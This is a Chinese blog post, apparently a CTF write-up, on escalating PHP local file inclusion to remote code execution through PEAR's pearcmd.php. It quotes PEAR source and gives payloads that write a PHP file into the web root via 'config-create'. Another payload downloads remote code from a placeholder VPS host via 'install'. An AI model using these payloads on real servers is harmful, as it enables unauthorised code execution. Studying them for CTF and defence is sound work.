LFI TO RCE之pearcmd.php的妙用

3 分钟

前言

提示:这里可以添加本文要记录的大概内容:

在玩Buu的NewStarCTF时,遇到了一道LFI to RCE的题,规定了php后缀,一点思路都没有,赛后看了WP,总结一下。


提示:以下是本篇文章正文内容,下面案例可供参考

一、pear是什么

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定
--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

并且php.ini当中 register_argc_argv=On需要开启,假如环境中没有php.ini,则默认register_argc_argv=On。

register_argc_argv=On其实对应了$_SERVER[‘argv’],即获取参数。

如:

+为分隔符

二、pear的妙用

pear的源代码如下:



#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"



PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
    unset($argv[1]);
    $argv = array_values($argv);
}
public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

代码不是很理解,就是当执行了pearcmd.cmd,会将$_SERVER[‘argv’]当作参数执行

三、例题:NewStarCTF(Includetwo)

题目如下:

![](https://img-
blog.csdnimg.cn/15fff23972ae473b8c368e02171165fc.png)![](https://img-
blog.csdnimg.cn/df450ef40991468490e34ae6f9862b2d.png)

payload:+config-
create+/&file;=/usr/local/lib/php/pearcmd&/+/var/www/html/a.php

不同的系统pearcmd存放的位置好像不一定, 有的在/usr/share/php/pearcmd.php。

关于payload的解释: config-create是pearcmd.php的参数,用于创建默认配置文件。

这个命令需要两个参数,根路径和文件名。所以payload是利用该参数将写入到/var/www/html/a.php文件中。

四、本地测试

注意的点:
1、开启了register_argc_argv选项

2、pearcmd.php文件的路径

3、能够进行文件包含,allow_url_include开启

4、open_basedir不存在限制

还可以使用install或download参数进行远程下载进行RCE:

file=/usr/share/php/pearcmd.php&+install+-R+/tmp+http://[vps:ip]/test/peartest.php

总结

文件包含到RCE,目前知道的有session包含的条件竞争,日志包含,pearcmd的利用。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全CTF
文章标题:LFI TO RCE之pearcmd.php的妙用
文章链接:https://aiwin.fun/index.php/archives/856/
最后编辑:2024 年 1 月 4 日 17:12 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 7 + 7 =
快来做第一个评论的人吧~